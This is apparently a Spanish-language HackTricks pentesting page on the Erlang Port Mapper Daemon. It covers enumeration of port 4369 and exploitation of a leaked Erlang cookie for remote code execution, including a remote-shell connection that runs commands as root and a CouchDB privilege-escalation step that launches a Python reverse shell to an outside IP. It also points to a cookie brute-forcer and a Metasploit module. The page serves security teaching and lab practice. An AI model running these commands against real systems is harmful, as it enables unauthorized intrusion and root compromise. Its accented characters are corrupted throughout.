tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

El Erlang Port Mapper Daemon (epmd) act煤a como un coordinador para instancias distribuidas de Erlang. Es responsable de mapear nombres de nodos simb贸licos a direcciones de m谩quina, asegurando esencialmente que cada nombre de nodo est茅 asociado con una direcci贸n espec铆fica. Este papel de epmd es crucial para la interacci贸n y comunicaci贸n sin problemas entre diferentes nodos de Erlang a trav茅s de una red.

Puerto por defecto: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Esto se utiliza por defecto en las instalaciones de RabbitMQ y CouchDB.

Enumeraci贸n

Manual

bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Autom谩tico

bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Conexi贸n Remota

Si puedes filtrar la cookie de autenticaci贸n, podr谩s ejecutar c贸digo en el host. Por lo general, esta cookie se encuentra en ~/.erlang.cookie y es generada por erlang en el primer inicio. Si no se modifica o se establece manualmente, es una cadena aleatoria [A:Z] con una longitud de 20 caracteres.

bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

M谩s informaci贸n en https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
El autor tambi茅n comparte un programa para forzar el cookie:

{% file src="../images/epmd_bf-0.1.tar.bz2" %}

Conexi贸n Local

En este caso, vamos a abusar de CouchDB para escalar privilegios localmente:

bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Ejemplo tomado de https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Puedes usar Canape HTB machine para practicar c贸mo explotar esta vulnerabilidad.

Metasploit

bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "en el puerto"

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks